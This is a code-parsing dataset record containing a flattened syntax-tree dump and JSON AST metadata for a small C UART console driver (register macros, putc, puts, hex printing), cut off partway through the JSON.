"P_UART_STATUS(UART_PORT_CONS)" (identifier) "P_UART_STATUS" (argument_list) "(UART_PORT_CONS)" (() "(" (identifier) "UART_PORT_CONS" ()) ")" ()) ")" (&) "&" (identifier) "UART_STAT_MASK_TFIFO_FULL" (;) ";" (}) "}" (function_definition) "void wait_uart_empty(void)\n{\n#if 0\n while (!(readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)))\n ;\n#else\n unsigned int count=0;\n do {\n if ((readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)) == 0)\n _udelay(4);\n else\n break;\n count++;\n } while ( count < 20000);\n#endif\n}" (primitive_type) "void" (function_declarator) "wait_uart_empty(void)" (identifier) "wait_uart_empty" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (compound_statement) "{\n#if 0\n while (!(readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)))\n ;\n#else\n unsigned int count=0;\n do {\n if ((readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)) == 0)\n _udelay(4);\n else\n break;\n count++;\n } while ( count < 20000);\n#endif\n}" ({) "{" (preproc_if) "#if 0\n while (!(readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)))\n ;\n#else\n unsigned int count=0;\n do {\n if ((readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)) == 0)\n _udelay(4);\n else\n break;\n count++;\n } while ( count < 20000);\n#endif" (#if) "#if" (number_literal) "0" ( ) "\n" (while_statement) "while (!(readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)))\n ;" (while) "while" (parenthesized_expression) "(!(readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)))" (() "(" (unary_expression) "!(readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22))" (!) "!" (parenthesized_expression) "(readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22))" (() "(" (binary_expression) "readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)" (call_expression) "readl(P_UART_STATUS(UART_PORT_CONS))" (identifier) "readl" (argument_list) "(P_UART_STATUS(UART_PORT_CONS))" (() "(" (call_expression) "P_UART_STATUS(UART_PORT_CONS)" (identifier) "P_UART_STATUS" (argument_list) "(UART_PORT_CONS)" (() "(" (identifier) "UART_PORT_CONS" ()) ")" ()) ")" (&) "&" (parenthesized_expression) "(1 << 22)" (() "(" (binary_expression) "1 << 22" (number_literal) "1" (<<) "<<" (number_literal) "22" ()) ")" ()) ")" ()) ")" (expression_statement) ";" (;) ";" (preproc_else) "#else\n unsigned int count=0;\n do {\n if ((readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)) == 0)\n _udelay(4);\n else\n break;\n count++;\n } while ( count < 20000);" (#else) "#else" (declaration) "unsigned int count=0;" (sized_type_specifier) "unsigned int" (unsigned) "unsigned" (primitive_type) "int" (init_declarator) "count=0" (identifier) "count" (=) "=" (number_literal) "0" (;) ";" (do_statement) "do {\n if ((readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)) == 0)\n _udelay(4);\n else\n break;\n count++;\n } while ( count < 20000);" (do) "do" (compound_statement) "{\n if ((readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)) == 0)\n _udelay(4);\n else\n break;\n count++;\n }" ({) "{" (if_statement) "if ((readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)) == 0)\n _udelay(4);\n else\n break;" (if) "if" (parenthesized_expression) "((readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)) == 0)" (() "(" (binary_expression) "(readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)) == 0" (parenthesized_expression) "(readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22))" (() "(" (binary_expression) "readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)" (call_expression) "readl(P_UART_STATUS(UART_PORT_CONS))" (identifier) "readl" (argument_list) "(P_UART_STATUS(UART_PORT_CONS))" (() "(" (call_expression) "P_UART_STATUS(UART_PORT_CONS)" (identifier) "P_UART_STATUS" (argument_list) "(UART_PORT_CONS)" (() "(" (identifier) "UART_PORT_CONS" ()) ")" ()) ")" (&) "&" (parenthesized_expression) "(1 << 22)" (() "(" (binary_expression) "1 << 22" (number_literal) "1" (<<) "<<" (number_literal) "22" ()) ")" ()) ")" (==) "==" (number_literal) "0" ()) ")" (expression_statement) "_udelay(4);" (call_expression) "_udelay(4)" (identifier) "_udelay" (argument_list) "(4)" (() "(" (number_literal) "4" ()) ")" (;) ";" (else_clause) "else\n break;" (else) "else" (break_statement) "break;" (break) "break" (;) ";" (expression_statement) "count++;" (update_expression) "count++" (identifier) "count" (++) "++" (;) ";" (}) "}" (while) "while" (parenthesized_expression) "( count < 20000)" (() "(" (binary_expression) "count < 20000" (identifier) "count" (<) "<" (number_literal) "20000" ()) ")" (;) ";" (#endif) "#endif" (}) "}" (function_definition) "int uart_putc(int c)\n{\n if (c == '\n')\n uart_putc('\r');\n\n /* Wait until TX is not full */\n while (uart_tx_isfull())\n ;\n\n writel((char)c, P_UART_WFIFO(UART_PORT_CONS));\n /*wait_uart_empty();*/\n return c;\n}" (primitive_type) "int" (function_declarator) "uart_putc(int c)" (identifier) "uart_putc" (parameter_list) "(int c)" (() "(" (parameter_declaration) "int c" (primitive_type) "int" (identifier) "c" ()) ")" (compound_statement) "{\n if (c == '\n')\n uart_putc('\r');\n\n /* Wait until TX is not full */\n while (uart_tx_isfull())\n ;\n\n writel((char)c, P_UART_WFIFO(UART_PORT_CONS));\n /*wait_uart_empty();*/\n return c;\n}" ({) "{" (if_statement) "if (c == '\n')\n uart_putc('\r');" (if) "if" (parenthesized_expression) "(c == '\n')" (() "(" (binary_expression) "c == '\n'" (identifier) "c" (==) "==" (char_literal) "'\n'" (') "'" (escape_sequence) "\n" (') "'" ()) ")" (expression_statement) "uart_putc('\r');" (call_expression) "uart_putc('\r')" (identifier) "uart_putc" (argument_list) "('\r')" (() "(" (char_literal) "'\r'" (') "'" (escape_sequence) "\r" (') "'" ()) ")" (;) ";" (comment) "/* Wait until TX is not full */" (while_statement) "while (uart_tx_isfull())\n ;" (while) "while" (parenthesized_expression) "(uart_tx_isfull())" (() "(" (call_expression) "uart_tx_isfull()" (identifier) "uart_tx_isfull" (argument_list) "()" (() "(" ()) ")" ()) ")" (expression_statement) ";" (;) ";" (expression_statement) "writel((char)c, P_UART_WFIFO(UART_PORT_CONS));" (call_expression) "writel((char)c, P_UART_WFIFO(UART_PORT_CONS))" (identifier) "writel" (argument_list) "((char)c, P_UART_WFIFO(UART_PORT_CONS))" (() "(" (cast_expression) "(char)c" (() "(" (type_descriptor) "char" (primitive_type) "char" ()) ")" (identifier) "c" (,) "," (call_expression) "P_UART_WFIFO(UART_PORT_CONS)" (identifier) "P_UART_WFIFO" (argument_list) "(UART_PORT_CONS)" (() "(" (identifier) "UART_PORT_CONS" ()) ")" ()) ")" (;) ";" (comment) "/*wait_uart_empty();*/" (return_statement) "return c;" (return) "return" (identifier) "c" (;) ";" (}) "}" (function_definition) "int uart_puts(const char *s)\n{\n while (*s)\n uart_putc(*s++);\n return 1;\n}" (primitive_type) "int" (function_declarator) "uart_puts(const char *s)" (identifier) "uart_puts" (parameter_list) "(const char *s)" (() "(" (parameter_declaration) "const char *s" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "*s" (*) "*" (identifier) "s" ()) ")" (compound_statement) "{\n while (*s)\n uart_putc(*s++);\n return 1;\n}" ({) "{" (while_statement) "while (*s)\n uart_putc(*s++);" (while) "while" (parenthesized_expression) "(*s)" (() "(" (pointer_expression) "*s" (*) "*" (identifier) "s" ()) ")" (expression_statement) "uart_putc(*s++);" (call_expression) "uart_putc(*s++)" (identifier) "uart_putc" (argument_list) "(*s++)" (() "(" (pointer_expression) "*s++" (*) "*" (update_expression) "s++" (identifier) "s" (++) "++" ()) ")" (;) ";" (return_statement) "return 1;" (return) "return" (number_literal) "1" (;) ";" (}) "}" (function_definition) "void uart_put_hex(unsigned int data, unsigned bitlen)\n{\n int i;\n unsigned char s;\n for (i = bitlen - 4; i >= 0; i -= 4) {\n if ((data >> i) == 0) {\n uart_putc(0x30);\n continue;\n }\n s = (data >> i) & 0xf;\n if (s < 10)\n uart_putc(0x30 + s);\n else\n uart_putc(0x61 + s - 10);\n }\n}" (primitive_type) "void" (function_declarator) "uart_put_hex(unsigned int data, unsigned bitlen)" (identifier) "uart_put_hex" (parameter_list) "(unsigned int data, unsigned bitlen)" (() "(" (parameter_declaration) "unsigned int data" (sized_type_specifier) "unsigned int" (unsigned) "unsigned" (primitive_type) "int" (identifier) "data" (,) "," (parameter_declaration) "unsigned bitlen" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (identifier) "bitlen" ()) ")" (compound_statement) "{\n int i;\n unsigned char s;\n for (i = bitlen - 4; i >= 0; i -= 4) {\n if ((data >> i) == 0) {\n uart_putc(0x30);\n continue;\n }\n s = (data >> i) & 0xf;\n if (s < 10)\n uart_putc(0x30 + s);\n else\n uart_putc(0x61 + s - 10);\n }\n}" ({) "{" (declaration) "int i;" (primitive_type) "int" (identifier) "i" (;) ";" (declaration) "unsigned char s;" (sized_type_specifier) "unsigned char" (unsigned) "unsigned" (primitive_type) "char" (identifier) "s" (;) ";" (for_statement) "for (i = bitlen - 4; i >= 0; i -= 4) {\n if ((data >> i) == 0) {\n uart_putc(0x30);\n continue;\n }\n s = (data >> i) & 0xf;\n if (s < 10)\n uart_putc(0x30 + s);\n else\n uart_putc(0x61 + s - 10);\n }" (for) "for" (() "(" (assignment_expression) "i = bitlen - 4" (identifier) "i" (=) "=" (binary_expression) "bitlen - 4" (identifier) "bitlen" (-) "-" (number_literal) "4" (;) ";" (binary_expression) "i >= 0" (identifier) "i" (>=) ">=" (number_literal) "0" (;) ";" (assignment_expression) "i -= 4" (identifier) "i" (-=) "-=" (number_literal) "4" ()) ")" (compound_statement) "{\n if ((data >> i) == 0) {\n uart_putc(0x30);\n continue;\n }\n s = (data >> i) & 0xf;\n if (s < 10)\n uart_putc(0x30 + s);\n else\n uart_putc(0x61 + s - 10);\n }" ({) "{" (if_statement) "if ((data >> i) == 0) {\n uart_putc(0x30);\n continue;\n }" (if) "if" (parenthesized_expression) "((data >> i) == 0)" (() "(" (binary_expression) "(data >> i) == 0" (parenthesized_expression) "(data >> i)" (() "(" (binary_expression) "data >> i" (identifier) "data" (>>) ">>" (identifier) "i" ()) ")" (==) "==" (number_literal) "0" ()) ")" (compound_statement) "{\n uart_putc(0x30);\n continue;\n }" ({) "{" (expression_statement) "uart_putc(0x30);" (call_expression) "uart_putc(0x30)" (identifier) "uart_putc" (argument_list) "(0x30)" (() "(" (number_literal) "0x30" ()) ")" (;) ";" (continue_statement) "continue;" (continue) "continue" (;) ";" (}) "}" (expression_statement) "s = (data >> i) & 0xf;" (assignment_expression) "s = (data >> i) & 0xf" (identifier) "s" (=) "=" (binary_expression) "(data >> i) & 0xf" (parenthesized_expression) "(data >> i)" (() "(" (binary_expression) "data >> i" (identifier) "data" (>>) ">>" (identifier) "i" ()) ")" (&) "&" (number_literal) "0xf" (;) ";" (if_statement) "if (s < 10)\n uart_putc(0x30 + s);\n else\n uart_putc(0x61 + s - 10);" (if) "if" (parenthesized_expression) "(s < 10)" (() "(" (binary_expression) "s < 10" (identifier) "s" (<) "<" (number_literal) "10" ()) ")" (expression_statement) "uart_putc(0x30 + s);" (call_expression) "uart_putc(0x30 + s)" (identifier) "uart_putc" (argument_list) "(0x30 + s)" (() "(" (binary_expression) "0x30 + s" (number_literal) "0x30" (+) "+" (identifier) "s" ()) ")" (;) ";" (else_clause) "else\n uart_putc(0x61 + s - 10);" (else) "else" (expression_statement) "uart_putc(0x61 + s - 10);" (call_expression) "uart_putc(0x61 + s - 10)" (identifier) "uart_putc" (argument_list) "(0x61 + s - 10)" (() "(" (binary_expression) "0x61 + s - 10" (binary_expression) "0x61 + s" (number_literal) "0x61" (+) "+" (identifier) "s" (-) "-" (number_literal) "10" ()) ")" (;) ";" (}) "}" (}) "}"
547
0
{"language": "c", "success": true, "metadata": {"lines": 87, "avg_line_length": 26.55, "nodes": 371, "errors": 0, "source_hash": "4bddcf783829ceff2f183dbc911faee1fd914017b021f70c400a5519496c3690", "categorized_nodes": 212}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include \"registers.h\"\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 8}}, {"id": 2, "type": "string_literal", "text": "\"registers.h\"", "parent": 0, "children": [], "start_point": {"row": 0, "column": 9}, "end_point": {"row": 0, "column": 22}}, {"id": 3, "type": "preproc_include", "text": "#include <stdint.h>\n", "parent": null, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 8}}, {"id": 5, "type": "system_lib_string", "text": "<stdint.h>", "parent": 3, "children": [], "start_point": {"row": 1, "column": 9}, "end_point": {"row": 1, "column": 19}}, {"id": 6, "type": "preproc_include", "text": "#include \"task_apis.h\"\n", "parent": null, "children": [7, 8], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 3, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"task_apis.h\"", "parent": 6, "children": [], "start_point": {"row": 2, "column": 9}, "end_point": {"row": 2, "column": 22}}, {"id": 9, "type": "preproc_def", "text": "#define UART_PORT_CONS P_AO_UART_WFIFO\n", "parent": null, "children": [10, 11, 12], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 8, "column": 0}}, {"id": 10, "type": "#define", "text": "#define", "parent": 9, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 7}}, {"id": 11, "type": "identifier", "text": "UART_PORT_CONS", "parent": 9, "children": [], "start_point": {"row": 7, "column": 8}, "end_point": {"row": 7, "column": 22}}, {"id": 12, "type": "preproc_arg", "text": "P_AO_UART_WFIFO", "parent": 9, "children": [], "start_point": {"row": 7, "column": 23}, "end_point": {"row": 7, "column": 38}}, {"id": 13, "type": "preproc_def", "text": "#define UART_STP_BIT UART_MODE_MASK_STP_1BIT\n", "parent": null, "children": [14, 15, 16], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 10, "column": 0}}, {"id": 14, "type": "#define", "text": "#define", "parent": 13, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 7}}, {"id": 15, "type": "identifier", "text": "UART_STP_BIT", "parent": 13, "children": [], "start_point": {"row": 9, "column": 8}, "end_point": {"row": 9, "column": 20}}, {"id": 16, "type": "preproc_arg", "text": "UART_MODE_MASK_STP_1BIT", "parent": 13, "children": [], "start_point": {"row": 9, "column": 21}, "end_point": {"row": 9, "column": 44}}, {"id": 17, "type": "preproc_def", "text": "#define UART_PRTY_BIT 0\n", "parent": null, "children": [18, 19, 20], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 11, "column": 0}}, {"id": 18, "type": "#define", "text": "#define", "parent": 17, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 7}}, {"id": 19, "type": "identifier", "text": "UART_PRTY_BIT", "parent": 17, "children": [], "start_point": {"row": 10, "column": 8}, "end_point": {"row": 10, "column": 21}}, {"id": 20, "type": "preproc_arg", "text": "0", "parent": 17, "children": [], "start_point": {"row": 10, "column": 22}, "end_point": {"row": 10, "column": 23}}, {"id": 21, "type": "preproc_def", "text": "#define UART_CHAR_LEN UART_MODE_MASK_CHAR_8BIT\n", "parent": null, "children": [22, 23, 24], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 12, "column": 0}}, {"id": 22, "type": "#define", "text": "#define", "parent": 21, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 7}}, {"id": 23, "type": "identifier", "text": "UART_CHAR_LEN", "parent": 21, "children": [], "start_point": {"row": 11, "column": 8}, "end_point": {"row": 11, "column": 21}}, {"id": 24, "type": "preproc_arg", "text": "UART_MODE_MASK_CHAR_8BIT", "parent": 21, "children": [], "start_point": {"row": 11, "column": 24}, "end_point": {"row": 11, "column": 48}}, {"id": 25, "type": "preproc_def", "text": "#define UART_MODE_RESET_MASK\t\\\n\t\t\t\t\t(UART_MODE_MASK_RST_TX \\\n\t\t\t\t\t| UART_MODE_MASK_RST_RX \\\n\t\t\t\t\t| UART_MODE_MASK_CLR_ERR)\n", "parent": null, "children": [26, 27, 28], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 16, "column": 0}}, {"id": 26, "type": "#define", "text": "#define", "parent": 25, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 7}}, {"id": 27, "type": "identifier", "text": "UART_MODE_RESET_MASK", "parent": 25, "children": [], "start_point": {"row": 12, "column": 8}, "end_point": {"row": 12, "column": 28}}, {"id": 28, "type": "preproc_arg", "text": "(UART_MODE_MASK_RST_TX \\\n\t\t\t\t\t| UART_MODE_MASK_RST_RX \\\n\t\t\t\t\t| UART_MODE_MASK_CLR_ERR)", "parent": 25, "children": [], "start_point": {"row": 13, "column": 5}, "end_point": {"row": 15, "column": 30}}, {"id": 29, "type": "preproc_def", "text": "#define UART_WFIFO (0<<2)\n", "parent": null, "children": [30, 31, 32], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 18, "column": 0}}, {"id": 30, "type": "#define", "text": "#define", "parent": 29, "children": [], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 7}}, {"id": 31, "type": "identifier", "text": "UART_WFIFO", "parent": 29, "children": [], "start_point": {"row": 17, "column": 8}, "end_point": {"row": 17, "column": 18}}, {"id": 32, "type": "preproc_arg", "text": "(0<<2)", "parent": 29, "children": [], "start_point": {"row": 17, "column": 24}, "end_point": {"row": 17, "column": 30}}, {"id": 33, "type": "preproc_def", "text": "#define UART_RFIFO\t(1<<2)\n", "parent": null, "children": [34, 35, 36], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 19, "column": 0}}, {"id": 34, "type": "#define", "text": "#define", "parent": 33, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 7}}, {"id": 35, "type": "identifier", "text": "UART_RFIFO", "parent": 33, "children": [], "start_point": {"row": 18, "column": 8}, "end_point": {"row": 18, "column": 18}}, {"id": 36, "type": "preproc_arg", "text": "(1<<2)", "parent": 33, "children": [], "start_point": {"row": 18, "column": 19}, "end_point": {"row": 18, "column": 25}}, {"id": 37, "type": "preproc_def", "text": "#define UART_MODE\t(2<<2)\n", "parent": null, "children": [38, 39, 40], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 20, "column": 0}}, {"id": 38, "type": "#define", "text": "#define", "parent": 37, "children": [], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 7}}, {"id": 39, "type": "identifier", "text": "UART_MODE", "parent": 37, "children": [], "start_point": {"row": 19, "column": 8}, "end_point": {"row": 19, "column": 17}}, {"id": 40, "type": "preproc_arg", "text": "(2<<2)", "parent": 37, "children": [], "start_point": {"row": 19, "column": 18}, "end_point": {"row": 19, "column": 24}}, {"id": 41, "type": "preproc_def", "text": "#define UART_STATUS (3<<2)\n", "parent": null, "children": [42, 43, 44], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 21, "column": 0}}, {"id": 42, "type": "#define", "text": "#define", "parent": 41, "children": [], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 7}}, {"id": 43, "type": "identifier", "text": "UART_STATUS", "parent": 41, "children": [], "start_point": {"row": 20, "column": 8}, "end_point": {"row": 20, "column": 19}}, {"id": 44, "type": "preproc_arg", "text": "(3<<2)", "parent": 41, "children": [], "start_point": {"row": 20, "column": 24}, "end_point": {"row": 20, "column": 30}}, {"id": 45, "type": "preproc_def", "text": "#define UART_IRQCTL\t(4<<2)\n", "parent": null, "children": [46, 47, 48], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 22, "column": 0}}, {"id": 46, "type": "#define", "text": "#define", "parent": 45, "children": [], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 21, "column": 7}}, {"id": 47, "type": "identifier", "text": "UART_IRQCTL", "parent": 45, "children": [], "start_point": {"row": 21, "column": 8}, "end_point": {"row": 21, "column": 19}}, {"id": 48, "type": "preproc_arg", "text": "(4<<2)", "parent": 45, "children": [], "start_point": {"row": 21, "column": 20}, "end_point": {"row": 21, "column": 26}}, {"id": 49, "type": "preproc_def", "text": "#define UART_CTRL\t(5<<2)\n", "parent": null, "children": [50, 51, 52], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 23, "column": 0}}, {"id": 50, "type": "#define", "text": "#define", "parent": 49, "children": [], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 7}}, {"id": 51, "type": "identifier", "text": "UART_CTRL", "parent": 49, "children": [], "start_point": {"row": 22, "column": 8}, "end_point": {"row": 22, "column": 17}}, {"id": 52, "type": "preproc_arg", "text": "(5<<2)", "parent": 49, "children": [], "start_point": {"row": 22, "column": 18}, "end_point": {"row": 22, "column": 24}}, {"id": 53, "type": "preproc_def", "text": "#define UART_MODE_MASK_STP_1BIT (0<<16)\n", "parent": null, "children": [54, 55, 56], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 24, "column": 0}}, {"id": 54, "type": "#define", "text": "#define", "parent": 53, "children": [], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 23, "column": 7}}, {"id": 55, "type": "identifier", "text": "UART_MODE_MASK_STP_1BIT", "parent": 53, "children": [], "start_point": {"row": 23, "column": 8}, "end_point": {"row": 23, "column": 31}}, {"id": 56, "type": "preproc_arg", "text": "(0<<16)", "parent": 53, "children": [], "start_point": {"row": 23, "column": 48}, "end_point": {"row": 23, "column": 55}}, {"id": 57, "type": "preproc_def", "text": "#define UART_MODE_MASK_CHAR_8BIT (0<<20)\n", "parent": null, "children": [58, 59, 60], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 25, "column": 0}}, {"id": 58, "type": "#define", "text": "#define", "parent": 57, "children": [], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 7}}, {"id": 59, "type": "identifier", "text": "UART_MODE_MASK_CHAR_8BIT", "parent": 57, "children": [], "start_point": {"row": 24, "column": 8}, "end_point": {"row": 24, "column": 32}}, {"id": 60, "type": "preproc_arg", "text": "(0<<20)", "parent": 57, "children": [], "start_point": {"row": 24, "column": 48}, "end_point": {"row": 24, "column": 55}}, {"id": 61, "type": "preproc_def", "text": "#define UART_MODE_MASK_TX_EN (1<<12)\n", "parent": null, "children": [62, 63, 64], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 26, "column": 0}}, {"id": 62, "type": "#define", "text": "#define", "parent": 61, "children": [], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 25, "column": 7}}, {"id": 63, "type": "identifier", "text": "UART_MODE_MASK_TX_EN", "parent": 61, "children": [], "start_point": {"row": 25, "column": 8}, "end_point": {"row": 25, "column": 28}}, {"id": 64, "type": "preproc_arg", "text": "(1<<12)", "parent": 61, "children": [], "start_point": {"row": 25, "column": 48}, "end_point": {"row": 25, "column": 55}}, {"id": 65, "type": "preproc_def", "text": "#define UART_MODE_MASK_RX_EN (1<<13)\n", "parent": null, "children": [66, 67, 68], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 27, "column": 0}}, {"id": 66, "type": "#define", "text": "#define", "parent": 65, "children": [], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 7}}, {"id": 67, "type": "identifier", "text": "UART_MODE_MASK_RX_EN", "parent": 65, "children": [], "start_point": {"row": 26, "column": 8}, "end_point": {"row": 26, "column": 28}}, {"id": 68, "type": "preproc_arg", "text": "(1<<13)", "parent": 65, "children": [], "start_point": {"row": 26, "column": 48}, "end_point": {"row": 26, "column": 55}}, {"id": 69, "type": "preproc_def", "text": "#define UART_MODE_MASK_RST_TX (1<<22)\n", "parent": null, "children": [70, 71, 72], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 28, "column": 0}}, {"id": 70, "type": "#define", "text": "#define", "parent": 69, "children": [], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 27, "column": 7}}, {"id": 71, "type": "identifier", "text": "UART_MODE_MASK_RST_TX", "parent": 69, "children": [], "start_point": {"row": 27, "column": 8}, "end_point": {"row": 27, "column": 29}}, {"id": 72, "type": "preproc_arg", "text": "(1<<22)", "parent": 69, "children": [], "start_point": {"row": 27, "column": 48}, "end_point": {"row": 27, "column": 55}}, {"id": 73, "type": "preproc_def", "text": "#define UART_MODE_MASK_RST_RX (1<<23)\n", "parent": null, "children": [74, 75, 76], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 29, "column": 0}}, {"id": 74, "type": "#define", "text": "#define", "parent": 73, "children": [], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 28, "column": 7}}, {"id": 75, "type": "identifier", "text": "UART_MODE_MASK_RST_RX", "parent": 73, "children": [], "start_point": {"row": 28, "column": 8}, "end_point": {"row": 28, "column": 29}}, {"id": 76, "type": "preproc_arg", "text": "(1<<23)", "parent": 73, "children": [], "start_point": {"row": 28, "column": 48}, "end_point": {"row": 28, "column": 55}}, {"id": 77, "type": "preproc_def", "text": "#define UART_MODE_MASK_CLR_ERR (1<<24)\n", "parent": null, "children": [78, 79, 80], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 30, "column": 0}}, {"id": 78, "type": "#define", "text": "#define", "parent": 77, "children": [], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 29, "column": 7}}, {"id": 79, "type": "identifier", "text": "UART_MODE_MASK_CLR_ERR", "parent": 77, "children": [], "start_point": {"row": 29, "column": 8}, "end_point": {"row": 29, "column": 30}}, {"id": 80, "type": "preproc_arg", "text": "(1<<24)", "parent": 77, "children": [], "start_point": {"row": 29, "column": 48}, "end_point": {"row": 29, "column": 55}}, {"id": 81, "type": "preproc_def", "text": "#define UART_STAT_MASK_TFIFO_FULL (1<<21)\n", "parent": null, "children": [82, 83, 84], "start_point": {"row": 30, "column": 0}, "end_point": {"row": 31, "column": 0}}, {"id": 82, "type": "#define", "text": "#define", "parent": 81, "children": [], "start_point": {"row": 30, "column": 0}, "end_point": {"row": 30, "column": 7}}, {"id": 83, "type": "identifier", "text": "UART_STAT_MASK_TFIFO_FULL", "parent": 81, "children": [], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 33}}, {"id": 84, "type": "preproc_arg", "text": "(1<<21)", "parent": 81, "children": [], "start_point": {"row": 30, "column": 48}, "end_point": {"row": 30, "column": 55}}, {"id": 85, "type": "preproc_def", "text": "#define UART_CTRL_USE_XTAL_CLK\t\t\t(1<<24)\n", "parent": null, "children": [86, 87, 88], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 32, "column": 0}}, {"id": 86, "type": "#define", "text": "#define", "parent": 85, "children": [], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 7}}, {"id": 87, "type": "identifier", "text": "UART_CTRL_USE_XTAL_CLK", "parent": 85, "children": [], "start_point": {"row": 31, "column": 8}, "end_point": {"row": 31, "column": 30}}, {"id": 88, "type": "preproc_arg", "text": "(1<<24)", "parent": 85, "children": [], "start_point": {"row": 31, "column": 33}, "end_point": {"row": 31, "column": 40}}, {"id": 89, "type": "preproc_def", "text": "#define UART_CTRL_USE_NEW_BAUD_RATE\t\t(1<<23)\n", "parent": null, "children": [90, 91, 92], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 33, "column": 0}}, {"id": 90, "type": "#define", "text": "#define", "parent": 89, "children": [], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 32, "column": 7}}, {"id": 91, "type": "identifier", "text": "UART_CTRL_USE_NEW_BAUD_RATE", "parent": 89, "children": [], "start_point": {"row": 32, "column": 8}, "end_point": {"row": 32, "column": 35}}, {"id": 92, "type": "preproc_arg", "text": "(1<<23)", "parent": 89, "children": [], "start_point": {"row": 32, "column": 37}, "end_point": {"row": 32, "column": 44}}, {"id": 93, "type": "preproc_function_def", "text": "#define P_UART(uart_base, reg)\t\t(uart_base+reg)\n", "parent": null, "children": [94, 95, 96, 99], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 35, "column": 0}}, {"id": 94, "type": "#define", "text": "#define", "parent": 93, "children": [], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 34, "column": 7}}, {"id": 95, "type": "identifier", "text": "P_UART", "parent": 93, "children": [], "start_point": {"row": 34, "column": 8}, "end_point": {"row": 34, "column": 14}}, {"id": 96, "type": "preproc_params", "text": "(uart_base, reg)", "parent": 93, "children": [97, 98], "start_point": {"row": 34, "column": 14}, "end_point": {"row": 34, "column": 30}}, {"id": 97, "type": "identifier", "text": "uart_base", "parent": 96, "children": [], "start_point": {"row": 34, "column": 15}, "end_point": {"row": 34, "column": 24}}, {"id": 98, "type": "identifier", "text": "reg", "parent": 96, "children": [], "start_point": {"row": 34, "column": 26}, "end_point": {"row": 34, "column": 29}}, {"id": 99, "type": "preproc_arg", "text": "(uart_base+reg)", "parent": 93, "children": [], "start_point": {"row": 34, "column": 32}, "end_point": {"row": 34, "column": 47}}, {"id": 100, "type": "preproc_function_def", "text": "#define P_UART_WFIFO(uart_base)\t\tP_UART(uart_base, UART_WFIFO)\n", "parent": null, "children": [101, 102, 103, 105], "start_point": {"row": 